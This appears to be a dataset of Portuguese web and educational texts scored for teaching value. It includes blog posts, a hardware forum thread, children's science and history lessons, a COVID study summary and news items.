uma ou no máximo duas por dia e acreditem que não custa nada pois o sabor a laranja do pó até é bem agradável, apesar de um pouco ácido. +Se ainda não conhecem esta novidade, e precisam de uma dose diária de energia, visitem a página de facebook da Viterra e o site oficial e vejam mais pormenores sobre este suplemento ou sobre todos os outros que a marca disponibiliza. +Por fim… como é evidente e como todos sabem, mesmo que os suplementos vitamínicos pareçam inofensivos e sejam de venda livre, nunca os devemos tomar sem aconselhamento médico, como eu faço sempre. Por isso caso sintam necessidade falem com o vosso médico e ponderem esta opção. +Posted in: Saúde | Tagged: falta de energia, Garaná, Gingeng, Quebras de energia, Suplemento multivitamínico, Viterra, Viterra Max Energy +4 thoughts on “Viterra Max Energy” +14 Setembro, 2018 at 16:23 +Dessa marca já experimentei os multivitamínicos e gostei muito. Tenho por hábito tomar suplementos no outono e na primavera, que são as alturas do ano mais exigentes para o nosso corpo e, como também tenho uma doença auto-imune, preciso de reforçar o sistema imunitário. +14 Setembro, 2018 at 18:33 +Não conhecia a marca. Já recorri uns anos atrás a um suplemento para me ajudar a fortalecer a nível de memória. +Há dias em que o dia ainda mal começou e me sinto exausta e isso custa tanto. É bom sempre conhecer novos produtos que nos ajudem a sentir melhor no dia-a-dia. +14 Setembro, 2018 at 22:07 +Tb tomo por vezes algo do género… +Esse não conhecia, mas tb peço sempre aconselhamento médico. +15 Setembro, 2018 at 19:42 +Nunca tomei nada do género mas pelo que dizes devem ser produtos bons.",original,original,original,original,1,0.2 +"Troca de placa de vídeo e compatibilidade? - Placas de vídeo - Clube do Hardware +Troca de placa de vídeo e compatibilidade? +Por Silvio Neto, 8 de abril em Placas de vídeo +Silvio Neto 0 +Bom, vou ser breve, meu pc foi montado em 2013, de lá pra cá eu mudei várias coisas e agora quero trocar minha placa de vídeo, que não suporta mais os jogos que eu jogo, enfim, como eu sou TOTALMENTE LEIGO no assunto aqui vai a pergunta +Eu tenho uma AMD 7870 2GB, e pretendo comprar uma GTX 1060 6GB, se eu comprar a placa ela vai funcionar normalmente no meu pc? eu tenho que comprar outra peça em conjunto? me falaram sobre uma tal de entrada PCI, e que depende disso pra funcionar, a minha é uma PCI Express 3.0 x16, e a da 1060 é Pci Exp 6Pin, vai funcionar ou eu tenho que comprar outra peça junto? Muito obrigado! +@Silvio Neto +Como é o resto do seu PC? +E a fonte? qual é? +i5 3330, 8GB ram, fonte cx 430w +DaviTesch 4 +@Silvio Neto Eae mano fica tranquilo é coisa simples, você vai fazer o seguinte: +-Baixe o DDU (Desinstala o driver da placa de video amd) +-Fazer a instalação do aplicativo +-Dentro do aplicativo vai ter uma opção que pode mudar, você vai essa opção em ""GPU"" +-Depois vai ter 3 opção do lado esquerdo, clique na que está escrito ""Desinstalar driver amd e desligar computador"" +-Quando acabar e o computador desligar, tire a placa de video antiga e coloque a gtx 1060 no lugar dela e coloque o pino de alimentação (6 pinos emcima da placa de video) +-Ligue o computador e vá até o site da Nvidia e baixe o driver ou o Geforce Experience (tanto faz os dois tem o driver) +-Execute o driver ou o Geforce Experience e instale-o usando a opção instalação limpa (no processo a tela vai dar umas piscadas mas é totalmente normal, não se preocupe. +-Quando acabar, reinicie o computador e seja feliz. +Qualquer outra dúvida manda mensagem aqui +Pode pegar a GTX 1060 6GB, é uma boa placa. Em alguns casos você vai achar a RX 580 8GB mais barata que ela e está no mesmo nível de performance então considera também. +@Silvio Neto Kkkk desculpe não tinha lido direito, a gtx 1060 6gb não vai precisar de nenhum outro dispositivo que não venha junto da placa. Exceto a alimentação de 6 pinos da fonte. Talvez uma 430w não aguenta, mas é bem provavel que ira suportar. +@Narak13 minha fonte segura essa 580 aí? tenho muito medo porque a minha 7870 ja fritou uma vez +Microondas Eletrolux MEF41 - Defeito intermitente +Strictly only gamer - 15 minutos +Romulo Matheus - 32 minutos +ricardo_br - 50 minutos +Thyago_ - 54 minutos +Bruno133 - 3 horas +OldHutter - 23 minutos +robsonz - 28 minutos +ricardo_br - 30 minutos +ricardo_br - 41 minutos",original,original,original,original,2,0.4 +"Arrendamento Feux para suas férias com Iha particulares +Arrendamento Feux, aluguer férias de particular a particular +© Capnord @CC © Thomas Launois @CC © GERARD DUSSOUBS @CC © François Guillot @CC +Andar em Sancerre nas proximidades de incêndios +Arrendamento férias > Mundo > Europa > França > Centro (França) > Cher > Feux +Você encontrará muitos estúdios, apartamentos, casas e anúncios de arrrendamento de ferias em Feux. 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Verifique os procedimentos abaixo. ** +Não é mais necessário documentar o PNR com uma mensagem OSI +OSI DL CHANGES PER INV INDUSTRIAL ACTION 19JUL19 +A viagem não pode ter começado no segmento do voo afetado e o bilhete não pode ter sido reemitido pela Delta. +Se a nova viagem ocorrer entre 19 e 26 de julho de 2019, faça a reserva na mesma classe, se houver lugar disponível. Se a mesma classe não estiver disponível, a remarcação pode ser feita na próxima classe disponível, inclusive na classe Y para tarifas de cabine principal, ou na classe mais alta disponível para tarifas/cabines premium, classe P para tarifas Econômica Premium, classe F para tarifas de Primeira Classe e classe J para tarifas da Delta One® (cabine a cabine), se necessário. +Não haverá cobrança de taxa de alteração se os passageiros reemitirem os bilhetes até 26 de julho de 2019, desde que a reemissão ocorra de acordo com as políticas da Delta. Além disso, o PNR deve ser documentado com o OSI (quando exigido pelo GDS), e o código de isenção deve ser utilizado e documentado no bilhete, conforme indicado a seguir. +Observe que, para os bilhetes reemitidos após 26 de julho de 2019, serão aplicadas as taxas de alteração. +Clientes que remarcarem suas reservas para viagens após 26 de julho de 2019 e conseguirem reemitir os bilhetes até 26 de julho de 2019 podem estar sujeitos à cobrança de qualquer tarifa adicional aplicável pelo novo itinerário. Entretanto, a taxa de alteração será dispensada. Além disso, o PNR deve ser documentado com o OSI (quando exigido pelo GDS), e o código de isenção deve ser utilizado e documentado no bilhete, conforme indicado a seguir. +OSI DL REFUNDED PER INV INDUSTRIAL ACTION 19JUL19",original,original,original,original,0,0.0 +"Na cidade de Alto Alvorada (Orizona) não há dois endereços com o mesmo nome. Porém poderá haver um endereço com o mesmo nome em uma cidade diferente do Estado de Goiás. Duas cidades com nomes iguais em estados diferentes é muito comum. +Com informações obtidas por satélite, conseguimos encontrar todo a Cidade de Alto Alvorada (Orizona) em um mapa. Você poderá ver bairros e endereços que ligam duas ou mais lugares. +Com todos os recursos do mapa da cidade de Alto Alvorada (Orizona), mas com imagens obtidas por satélite. Este tipo de mapa ajuda a encontrar rotas e percursos, urbanos e rurais, com qualidade HD, permitindo a visualização de detalhes do terreno.",original,original,original,original,2,0.4 +"Olá, pequenos cientistas! Já pararam para pensar que tudo ao nosso redor é feito de matéria? E essa matéria pode se apresentar de jeitos diferentes, como em três estados principais: sólido, líquido e gasoso! Vamos embarcar nessa aventura para descobrir mais sobre cada um deles? + +Imagine um cubo de gelo. Ele é duro, tem uma forma definida e não se espalha. Isso acontece porque ele está no estado sólido! As partículas que formam o gelo estão bem juntinhas e organizadas, vibrando em seus lugares. Outros exemplos de sólidos são a madeira da sua mesa, o metal de uma colher e a borracha do seu lápis. Tudo o que você pode pegar e que mantém a forma é, provavelmente, um sólido. + +Agora, pense na água que você bebe. Ela escorre, se adapta ao formato do copo e pode ser derramada. Isso porque ela está no estado líquido! As partículas da água estão mais soltinhas do que as do gelo, o que permite que ela se mova e tome a forma do recipiente. Além da água, o suco de laranja, o leite e o óleo de cozinha também são líquidos. + +E o ar que respiramos? Ele não podemos ver, mas podemos sentir quando o vento sopra! O ar é um exemplo de matéria no estado gasoso. As partículas dos gases estão muito afastadas umas das outras e se movem livremente em todas as direções, ocupando todo o espaço disponível. O vapor que sai da panela quando a mamãe cozinha e o gás que enche os balões de festa também são gases. + +Mas espere! A matéria pode mudar de um estado para outro! Se esquentarmos o gelo, ele derrete e se transforma em água líquida. Se continuarmos esquentando a água, ela evapora e se transforma em vapor, que é um gás! Esse processo se chama mudança de estado físico. E o contrário também pode acontecer: se resfriarmos o vapor, ele se condensa e vira água líquida; se resfriarmos a água, ela congela e vira gelo. + +Que tal observar o mundo ao seu redor e identificar os diferentes estados físicos da matéria? Quais objetos na sua casa são sólidos? Quais são líquidos? E onde você encontra gases? Prestem atenção, porque a ciência está em todo lugar!",Ciências,Estados físicos da matéria,anos iniciais (1º ao 5º ano),"O trecho apresenta informações básicas e relevantes sobre os estados da matéria (sólido, líquido e gasoso) de forma acessível para crianças, utilizando exemplos do cotidiano. A linguagem é clara e o texto é bem estruturado, o que o torna adequado para o ensino fundamental. A introdução de conceitos como mudança de estado físico e o incentivo à observação do mundo real para identificar os diferentes estados da matéria aumentam o valor educacional do trecho. A ausência de exercícios mais elaborados impede uma pontuação maior.",5,1.0 +"litosfera%20-%20Infop%C3%A9dia - Provas - 4081 Palavras +Página Inicial Ensaios litosfera%20-%20Infop%C3%A9dia +Páginas: 17 (4081 palavras) Publicado: 24 de junho de 2013 +VIEIRA, v(4), n°4, p. 641 - 647, 2011. +REGET-CT/UFSM (e-ISSN: 2236-1170) +A MODERNIDADE E A PROBLEMÁTICA DA PRODUÇÃO, DO CONSUMO, DA +PÓS DOUTORANDO, BOLSISTA FAPESP E PESQUISADOR DO LABDES, UNESP, Franca/SP +Avenida Eufrázia Monteiro Petráglia, 900. CEP: 14409-160 -Franca – SP +Este trabalho constitui um tópico adaptado da dissertação de Mestrado defendida pelo +autor em 2002. Teve por motivação a inquietação com o fato de que as fontes geradoras nem +sempre associam a problemática dos resíduos ao Modo de Produção e Consumo Capitalista MPCC da Modernidade. A hipótese norteadora desse estudo é que o conhecimento dascaracterísticas e do contexto desse período pode contribuir com a prevenção ou redução do +potencial dos impactos ambientais negativos desses materiais. Os pontos chaves da revisão +bibliográfica que norteou o trabalho abrangeram a definição do conceito e do período histórico +citado, sua evolução e relação com a problemática dos resíduos. Quanto aos resultados da +pesquisa verificou-se que os autoresconsultados levaram em conta as diversas formas e graus +com que o MPCC não somente articula e organiza o espaço geográfico, mas também o ritmo veloz +que imprime à produção e ao consumo e, por conseguinte, à geração continuada e crescente de +This paper is adapted from a dissertation topic Master defended by the author in 2002. +Was motivated by the concern with the fact that thesources do not always associate the problem +of waste to Mode of Production and Consumption Capitalist – MPCC of Modernity. The central +hypothesis of this study is that knowledge of the characteristics and context of this period can +contribute to the prevention or reduction of potential negative environmental impacts of these +materials. The key points of the literature review that guided thework covered the definition and +history of the period mentioned, its evolution and relation to waste management issues. +Regarding the survey results showed that the authors had taken into account the various forms +and degrees to which the MPCC not only articulates and organizes geographic space, but also the +rapid pace that gives the production and consumption and therefore the continued andincreasing +O que fazer com as montanhas de resíduo e rejeito gerado pelas atividades humanas, +sobretudo nas cidades? Quintais, terrenos vazios, logradouros públicos, beira de estrada, lixões e +ou aterros sanitários tem sido os locais utilizados, nem sempre de modo correto para destinação +de resíduos e rejeitos gerados pela sociedade. Talvez esse fato explique oaumento do interesse +de instituições governamentais ou não, inclusive o setor acadêmico e os órgãos de comunicação +em pesquisar, divulgar e contribuir com soluções para a problemática desses materiais. +O problema da pesquisa está delimitado no fato de o atual período histórico pertencer à +Modernidade e transcorrer sob influência direta do MPCC, cuja continuidade depende do +VIEIRA, v(4),n°4, p. 641 - 647, 2011. +consumo e da geração de resíduos e rejeitos de modo permanente e crescente. Essa realidade +precisa ser mais bem conhecida para explicar e solucionar a problemática ambiental desses +materiais. De tal modo, a questão problema da pesquisa pode ser formulada através deperguntas +como: quais são as características de Modernidade e do MPCC? Qual é sua relação na geração de +resíduos e rejeitos? +Sendo assim o presente estudo, em seu objetivo principal, levantou dados sobre o +período em que a intensificação da geração de resíduos e rejeitos passou a ocorrer e sua evolução. +Portanto, tece considerações sobre o capitalismo, a máquina e a fábrica ou indústria, a... +...Desenvolvimento da Libido - Fase oral: Nessa fase a criança tem um prazer na parte bucal, o objeto de desejo seria o seio da mãe a criança tem um prazer excessivo em colocar os objetos na boca esta ligada a...",original,original,original,original,2,0.4 +"A Teresa Perez Tours inicia o segundo semestre de 2015 com a abertura de seu segundo escritório fora de São Paulo. A agência escolheu Belo Horizonte para expandir seus negócios e abre as portas de seu novo endereço no dia 25 de agosto, em evento para convidados. Com a novidade, o público mineiro terá acesso à mesma consultoria personalizada de destinos, hotéis e serviços de alto padrão ao redor do mundo, marca registrada da companhia, com 24 anos de história e endereços em São Paulo e Brasília. +""O público da região representa um grande potencial para o nicho da nossa operadora - as viagens de alto padrão. Já trabalhamos há anos com agências locais parceiras que representam nosso conceito com muita qualidade: Estação Turismo; Trop Tur; Ruy Lage; Cris Biagioni; Bini Viagens e Greenwich Tours, e nossa atuação direta na cidade somará ainda mais para esse cenário positivo"", declara Tomas Perez, presidente da Teresa Perez Tours. A chegada da agência ao território mineiro é resultado de profundos estudos do mercado local, um dos maiores potenciais do mercado de luxo no país. +A implantação do novo escritório ocorreu durante o último semestre e sua infraestrutura inclui toda expertise da matriz de São Paulo, incluindo um auditório para palestras e apresentações, permitindo que clientes de Minas Gerais tenham acesso ao mesmo conhecimento de viagens oferecido pela agência em São Paulo e Brasília. A Teresa Perez Tours oferece roteiros em diversas regiões do mundo, como Ásia, Europa, África, América e Oceania, além de selecionar atividades especiais, de acordo com as preferências de seus viajantes, como excursões de bicicleta, trens, cruzeiros e esqui. A empresa trabalha com as redes de hotéis mais desejadas e admiradas, como Belmond, Mandarin Oriental, Four Seasons Hotels & Resorts, The Ritz-Carlton, entre outros que são sinônimos de sofisticação e conforto. +""Neste ano, estamos trabalhando a gastronomia como uma das grandes inspirações para viagens. Na nossa inauguração em Belo Horizonte lançaremos o livro Traveller Flavours by Teresa Perez, que desvenda 25 destinos através de seus sabores. O material foi feito por meio de uma pesquisa profunda de cada cidade, incluindo a visão de grandes chefs que compartilharam suas receitas conosco - essa olhar local e detalhado de cada destino é o estilo de trabalho da Teresa Perez Tours"", conta Tomas Perez.",original,original,original,original,0,0.0 +"joaownery autor de Viagem Solitária: Maio 2012 +João Bernardo. 30/5/2012 +Primeiramente, li seu livro e gostei muitíssimo! Achei sua atitude ousada. Essa atitude irá ajudar muitos transhomens. Pelo menos à mim ajudou bastante. +Saber que outros homens passaram pelos mesmo dilemas e situações adversas que eu passei, conforta e encoraja. +Agradeço por sua contribuição em minha vida e na vida de meus familiares que também leram, e que por causa dele, estão entendendo minha situação melhor. +Bom, queria tirar uma duvida que surgiu durante a leitura do livro e na entrevista que você deu à Marília Gabriela: +Sua dificuldade de locomoção; a artrose ou artrite que você possui , foi causada pelo uso prolongado da testosterona? Foi ao menos acentuada? +Estou iniciando o uso de hormônios e queria saber quais as consequencias a longo prazo do uso desses sintéticos. +Você sabe de outros efeitos colaterais a longo prazo que voce sofreu/sofre pelo uso da T? +Desde já, agradeço. Sua resposta ajudará a compreender melhor o que vai acontecer com meu corpo, e me preparar para as futuras batalhas que irão surgir nesse renascimento. +Deise Mesquita 30/5/2012 +Pois é, acabei de ler o seu livro. No entanto, quando o texto chegava ao fim, eu não me conformava... Queria mais. Ano passado, na entrevista que você deu à Marília Gabriela, ela disse uma coisa que exprime exatamente como me senti após o fim da leitura: “Uma história muito rica para ser inteiramente apreendida num programa de uma hora.” +Embora a referência não tenha sido feita ao texto, falou ao meu coração, pois fiquei com a sensação de que cada capítulo daria, no mínimo, mais um novo livro. Revirei-o atrás de novos trechos, novas informações, e assim acabei lendo tudo, da capa à contracapa, passando pelas orelhas, dados de catalogação, informações sobre composição e voltando à dedicatória na folha de rosto... Tudo. +É redundância, mas preciso dizer que gostei muito. Trata-se de uma história muito humana. Deixa claro que, mais que um bom escritor, você é um grande sujeito. +Estarei lá, sentadinha no cinema, quando de sua apresentação nas telas, o que certamente acontecerá em breve. +Postado por João WalterNery às 08:00 Nenhum comentário: +Cantinho da Glória: Transexuais são os mais perseguidos, diz primeiro ... +Cantinho da Glória: Transexuais são os mais perseguidos, diz primeiro ...: Lara Haje 15/5/2012 O primeiro transsexual masculino brasileiro (transhomem), João Nery, afirmou há pouco que os transexuais são o seg... +Postado por João WalterNery às 05:34 Nenhum comentário: +O que é pior que um filho gay? +Yes, agora Viagem Solitária em e-book. +Ranking: saiba quais são os países da Europa em que gays são mais respeitados +Postado por João WalterNery às 12:49 Nenhum comentário: +Paulopes: Revista mostra trechos bíblicos cuja existência cr... +Paulopes: Revista mostra trechos bíblicos cuja existência cr...: A reportagem de capa da Superinteressante de junho é “A Bíblia como você nunca leu”. Trata-se dos trechos bíblicos que propagam, com candu... +Postado por João WalterNery às 06:33 Nenhum comentário: +Postado por João WalterNery às 08:26 Nenhum comentário: +Fórum Baiano LGBT: Marcha das Vadias ocorre neste sábado 26 em Salvad... +Postado por João WalterNery às 07:32 Nenhum comentário: +Fórum Baiano LGBT: Deputado pernambucano chama gays de aberrações no ... +Fórum Baiano LGBT: Deputado pernambucano chama gays de aberrações no ...: Movimento LGBT reagiu e Executiva do partido condenou O deputado estadual Adalto Santos (PSB-PE, na foto) foi duramente criticado pelas d... +Nossos Tons: Pastor sugere campo de concentração para gays +Nossos Tons: Pastor sugere campo de concentração para gays: O pastor Charles Worley da igreja ""Providence Baptist Church"" na Carolina do Norte - onde recentemente a discriminação contra cidadãos LG... +Postado por João WalterNery às 18:00 Nenhum comentário: +Fórum Baiano LGBT: Travesti caminhoneira faz sucesso nas estradas do ... +Fórum Baiano LGBT: Travesti caminhoneira faz sucesso nas estradas...",original,original,original,original,2,0.4 +"Olá, pessoal! Já pararam para pensar como a nossa família e a comunidade onde vivemos moldam quem somos? A História não é só sobre reis e rainhas, mas também sobre as pessoas comuns, como nós, e como elas se organizam em grupos. Hoje, vamos explorar como as famílias e comunidades mudaram ao longo do tempo e como essas mudanças influenciam nossas vidas. + +Antigamente, em muitas sociedades, as famílias eram muito maiores do que as que vemos hoje. Era comum que avós, tios, primos e outros parentes morassem juntos ou muito perto uns dos outros. A comunidade também era fundamental. As pessoas dependiam umas das outras para plantar, colher, construir casas e até mesmo para se protegerem. Imagine como seria a sua vida se você precisasse da ajuda de todos os seus vizinhos para construir a sua casa! + +Com o passar dos séculos, as coisas foram mudando. As cidades cresceram, as pessoas começaram a trabalhar em fábricas e escritórios, e as famílias se tornaram menores e mais independentes. A tecnologia também teve um papel importante nessa transformação. Hoje, podemos nos comunicar com pessoas do outro lado do mundo em segundos e comprar comida no supermercado sem precisar plantar nada. + +Mas será que essas mudanças significam que a família e a comunidade perderam a importância? De jeito nenhum! Mesmo com todas as facilidades da vida moderna, precisamos do apoio e do carinho das pessoas que amamos. A família continua sendo o nosso porto seguro, o lugar onde aprendemos os valores que nos guiam na vida. E a comunidade, seja ela o nosso bairro, a nossa escola ou o nosso grupo de amigos, nos ajuda a construir um mundo melhor para todos. + +Que tal conversarmos sobre isso? Como é a sua família? Quem são as pessoas mais importantes na sua comunidade? Quais são os costumes e tradições que vocês compartilham? As respostas para essas perguntas podem nos ajudar a entender melhor o nosso passado e a construir um futuro mais justo e solidário. Lembrem-se: a História está em todo lugar, inclusive nas nossas próprias vidas!",História,Família e comunidade,anos finais (6º ao 9º ano),"O trecho recebe a pontuação máxima por introduzir o tema de forma envolvente, utilizando linguagem acessível e exemplos do cotidiano. Aborda a evolução das famílias e comunidades ao longo do tempo, incentivando a reflexão e a discussão sobre a importância desses grupos na formação individual e social. O texto é claro, coerente e estimula o pensamento crítico dos alunos, sendo altamente relevante para o ensino fundamental.",5,1.0 +"Já parou para pensar em como os animais e as plantas estão conectados? Às vezes, parece que vivem em mundos separados, mas a verdade é que dependem uns dos outros para sobreviver! Essa relação fascinante é chamada de interdependência e acontece de diversas maneiras na natureza. + +**Introdução: Um Mundo Interligado** + +Imagine uma floresta exuberante, cheia de árvores altas, flores coloridas e animais de todos os tipos. Essa imagem representa um ecossistema, um lugar onde os seres vivos interagem entre si e com o ambiente. E é nessa interação que a mágica acontece! Animais e plantas desempenham papéis cruciais para manter o equilíbrio desse sistema. + +**Desenvolvimento: Como Animais e Plantas se Ajudam?** + +* **Polinização:** Abelhas, borboletas, beija-flores e até alguns morcegos visitam as flores em busca de néctar, um líquido doce que lhes fornece energia. Ao fazerem isso, carregam pólen de uma flor para outra, permitindo que as plantas se reproduzam e produzam frutos. Sem os polinizadores, muitas plantas não conseguiriam se reproduzir! +* **Dispersão de sementes:** Animais como pássaros, macacos e esquilos se alimentam de frutos e, ao se moverem pela floresta, espalham as sementes em diferentes lugares. Isso ajuda as plantas a colonizar novos territórios e garante a diversidade vegetal. +* **Adubação:** As fezes dos animais são ricas em nutrientes que servem como adubo para as plantas. Quando os animais defecam no solo, liberam esses nutrientes, que são absorvidos pelas raízes das plantas, ajudando-as a crescer fortes e saudáveis. +* **Proteção:** Algumas plantas oferecem abrigo e proteção para os animais. Por exemplo, árvores com ocos servem de ninho para aves e mamíferos, enquanto plantas espinhosas protegem os animais de predadores. +* **Alimentação:** É claro, as plantas servem de alimento para muitos animais! Desde as folhas que as lagartas comem até os frutos que os macacos adoram, as plantas são a base da cadeia alimentar. + +**Exemplos Práticos no Nosso Dia a Dia** + +Mesmo na cidade, podemos observar essa interdependência. As abelhas que visitam as flores do jardim ajudam a polinizar as plantas que produzem os alimentos que comemos. Os pássaros que se alimentam de sementes espalham as plantas em terrenos baldios e parques. Até mesmo os animais de estimação, como cães e gatos, dependem das plantas para obter oxigênio e se alimentar (direta ou indiretamente). + +**Conclusão: Cuidando do Nosso Planeta** + +A relação entre animais e plantas é fundamental para a vida na Terra. Ao entendermos essa interdependência, podemos valorizar e proteger a natureza. Pequenas ações, como plantar árvores, evitar o uso de agrotóxicos e preservar os habitats naturais, fazem toda a diferença para garantir um futuro sustentável para o nosso planeta. Pense nisso: o que você pode fazer hoje para ajudar a proteger essa incrível dança entre animais e plantas?",Ciências,Animais e plantas,anos finais (6º ao 9º ano),"O texto apresenta conceitos importantes de ecologia e interdependência de forma clara e acessível, com exemplos práticos e relevantes para o ensino fundamental. Aborda polinização, dispersão de sementes, adubação, proteção e alimentação, conectando os temas à realidade do cotidiano. O trecho estimula a reflexão e ações de cuidado com o planeta, o que o torna um material valioso para a educação ambiental.",5,1.0 +"PLANILHA DE ORGANIZAÇÃO FINANCEIRA: 2 MODELOS GRÁTIS PARA DOWNLOAD | Nossa! Que Vício - Finanças e Dicas de Beleza +PLANILHA DE ORGANIZAÇÃO FINANCEIRA: 2 MODELOS GRÁTIS PARA DOWNLOAD +quinta-feira, 4 de julho de 2019 / +Depois de muito tempo procurando uma planilha de organização financeira grátis para download, resolvi criar a minha própria porque não consegui me adaptar com nenhuma que baixei... Achei todas muito complexas e difíceis de usar, e a organização de finanças deve ser feita da forma mais simples possível para não desistirmos no meio do caminho. Então quero disponibilizar minhas planilhas de organização financeira pra você baixar gratuitamente. +Organização de Finanças: Planilhas grátis para baixar +Fiz dois modelos de planilha, ambos são divididos em gastos essenciais e supérfluos, a diferença é que no primeiro coloquei todos os meses do ano na mesma planilha de organização financeira, enquanto no segundo criei uma planilha para cada mês, totalizando doze planilhas. +Nos dois modelos têm: +1. Receitas: toda entrada de dinheiro no seu orçamento. As receitas são divididas em: +· Renda Principal: é a renda proveniente do seu principal trabalho; +· Renda Extra: aquela que tem origem em outra atuação que não seja a sua profissão; +· Renda Passiva: aquela que você ganha “sem fazer nada” como uma casa de aluguel, rendimento de investimentos, entre outros. +2. Gastos essenciais: são aqueles indispensáveis para viver, como supermercado, água, luz, Internet, telefone etc. Também são chamados de gastos fixos, porque ocorrem todo mês. +3. Gastos supérfluos: também chamados de gastos variáveis, são aqueles superficiais, como Netflix, TV por assinatura, cinema, jantar em restaurantes, lazer no geral. +4. Totais: +· Total de Despesa: soma dos gastos fixos com os variáveis; +· Saldo do mês: quanto restou da sua renda após pagar todas as despesas; +· Investimentos: o valor total dos seus investimentos. Precisa ser digitado por você. +É bem simples de usar. Baixe a planilha gratuitamente e salve no seu computador. Depois é só inserir o valor da sua receita ou despesa. Todos os cálculos serão feitos automaticamente. +Dá para editar a planilha de organização financeira? +Dá sim, você pode inserir e excluir linhas conforme desejar. Para excluir uma linha, clique com o botão direto do mouse sobre a mesma e depois em Excluir → Excluir Linha Inteira. +Para inserir uma linha clique com o botão direto do mouse, em seguida em Inserir Linha. Insira sempre antes de ""Outros"" (para não causar erros nas fórmulas de cálculos). +Porque a organização financeira é importante? +Para ter o mínimo de qualidade de vida, uma pessoa precisa ter dinheiro, concordam comigo? Ele atende as necessidades mais básicas como alimentação e moradia, além de tornar possível a realização de sonhos... Aquele carro lindo que queremos comprar, a viagem que queremos realizar. +É aí que entra a importância da organização financeira, usando seu dinheiro com consciência você vai viver da melhor forma possível no presente e no futuro. Dinheiro compra qualidade de vida! +Como baixar a planilha de organização financeira? +Clique nos links abaixo para ter acesso à planilha; +Em seguida clique na seta na parte superior direita, como mostra a imagem; +Não edite nada no modelo original; +Será exibida a mensagem ""Apenas leitura. Não é possível fazer alterações""; +Clique em ""Fazer uma Cópia"" e salve a planilha no seu dispositivo. +Planilha de organização financeira – modelo 1 +Planilha de organização financeira – modelo 2 +É claro que você não vai precisar usar os dois modelos, escolha o seu preferido. Eu uso o número dois, nele é mais fácil de visualizar os gastos, apesar de não ter ficado muito bom esteticamente rsrs. +Me conte qual planilha você escolheu. Um beijo e até a próxima! +Tesouro Direto: Como funciona? O que é? Como investir? +Cris Unterstell 7 de julho de 2019 15:03 +Obrigado pela informações.Abraços. +Luana Cruz 7 de julho de 2019 21:55 +Por nada, Cris! Conseguiu baixar a planilha?",original,original,original,original,3,0.6 +"Investigação sobre a perda do paladar e do olfato e os efeitos psicológicos consequentes: um estudo transversal em profissionais da saúde que contraíram a infecção COVID-19 +DOLINSKY, Luciana +DUDINE, L. et al. Investigation on the Loss of Taste and Smell and Consequent Psychological Effects: A Cross-Sectional Study on Healthcare Workers Who Contracted the COVID-19 Infection. Front Public Health, v.9, article 666442, May 2021. DOI:10.3389/fpubh.2021.666442. Disponível em: https://pubmed.ncbi.nlm.nih.gov/34123991 +O artigo analisa a correlação entre o estresse e as alterações no olfato e paladar de trabalhadores da saúde, da região norte da Itália, que contraíram a COVID-19 no meio do surto da patologia em 2020. +A infecção pelo SARS-Cov-2 é caracterizada por diversos sintomas, com quadros clínicos variando de assintomáticos ou com sintomas leves até doença severa e óbito. Dentre as manifestações neurológicas mais comuns da patologia situam-se as alterações no olfato e no paladar relatadas por inúmeras publicações. Também é fator conhecido que pandemias estão associadas com consequências diversas para a saúde mental e existem estudos relatando aumento nos sintomas de ansiedade e depressão na pandemia da COVID-19. No entanto, raros são os estudos que têm como foco os sintomas da patologia como determinantes do estresse psicológico. +Como as disfunções de olfato e paladar podem impactar negativamente o bem-estar, com indivíduos relatando sensações de solidão, medo e depressão, além de dificuldades sociais devido a preocupações com a higiene pessoal, no caso da alteração no olfato, e impactos na nutrição e desenvolvimento de depressão, nos casos de alterações no paladar, pesquisadores consideraram a possibilidade destes sintomas amplificarem o estresse psicológico já determinado por outros fatores. +Para verificar esta hipótese, 104 trabalhadores da saúde, homens e mulheres, com idades entre 18 e 70 anos, que haviam contraído a COVID-19, foram avaliados por entrevistas semiestruturadas que envolviam questões sobre sintomatologia, incluindo alterações de olfato e paladar, termômetro de estresse (DT) e escala de ansiedade e depressão hospitalar (HADS). Os questionários referentes a estresse, ansiedade e depressão são validados em diversos países, culturas e populações patológicas. O questionário sobre estresse abordou percepção durante a infecção e no momento da entrevista e o HADS apenas no momento da entrevista. A análise de dados foi robusta com p 0.05. +Os sintomas mais frequentes foram fadiga, alterações no olfato e alterações no paladar. 68%, dos entrevistados declararam estresse moderado a alto, com ansiedade, irritabilidade, mau humor e solidão. Há correlação com os sintomas, com maior quantidade de sintomas estando relacionada a maior grau de estresse. Perda de olfato não mostrou relação com altos níveis de estresse, mas a perda de paladar sim. +A ansiedade é maior nos pacientes com perda de ambos os sentidos, olfativo e gustativo, enquanto a depressão é mais evidente na perda do paladar. A despeito deste resultado, 29% dos entrevistados precisam de intervenção psicológica clínica, segundo os dados obtidos. +O estudo evidencia que alterações no olfato e no paladar em pessoas sintomáticas estão associadas com maiores níveis de estresse, comparando com aqueles sem alterações nesses sentidos da percepção. Ansiedade e depressão são respostas frequentes, que estão mais associadas a perda do paladar e tendem a persistir por mais tempo. No entanto, risco de reinfecção, excesso de trabalho, frustração, equipamentos de proteção inadequados, isolamento, exaustão, etc., também influenciam a situação emocional dos trabalhadores da saúde. A coexistência com sintomas da COVID-19 intensifica a reação. Mesmo as pessoas curadas continuam a experimentar estresse, devido ao medo de reinfecção. Essa condição aponta a necessidade de intervenção psicológica. +Há limitações metodológicas citadas pelos autores, incluindo análise retrospectiva não randomizad...",original,original,original,original,4,0.8 +" Imagem de colônia de 64 mil tartarugas marinhas é capturada por drone +Imagem de colônia de 64 mil tartarugas marinhas é capturada por drone +POR Bruno Dias EM Mundo Animal 15/06/20 às 15h25 +A tartaruga é um réptil que tem o corpo coberto por um casco e que já caminha nesse planeta há muito tempo. Quando pensamos nesses animais, logo, nos remetemos à lentidão. No mundo, existem aproximadamente 250 espécies, ou tipos, de tartarugas. Elas também estão presentes, em quase todos os tipos de habitat. +Todo réptil que tem uma carapaça nas costas é classificado como testudines ou quelônios. E dentre eles, existem as tartarugas, cágados e jabutis. Mesmo que a maioria das pessoas pensem que todos são uma coisa, cada um desses tipos tem suas próprias características que são divergentes. +Esses animais despertam curiosidade e proporcionam alguns eventos que são maravilhosos de se ver. Como por exemplo os filhotes de tartarugas caminhando em direç��o ao mar. +Além desse, outro evento que é bastante lindo de se ver. Basicamente, é quando 64 mil tartarugas nadam juntas. É praticamente uma perfeição. Nós podemos ver esse evento por conta do governo estadual de Queensland, na Austrália. +O Departamento do Meio Ambiente compartilhou a filmagem impressionante de uma colônia gigantesca de tartarugas marinhas na ilha de Raine. Essa ilha é onde elas fazem seus ninhos. +— Queensland Environment (@QldEnvironment) June 9, 2020 +Os animais vistos no vídeo são as tartarugas-verdes, que também são conhecidas como 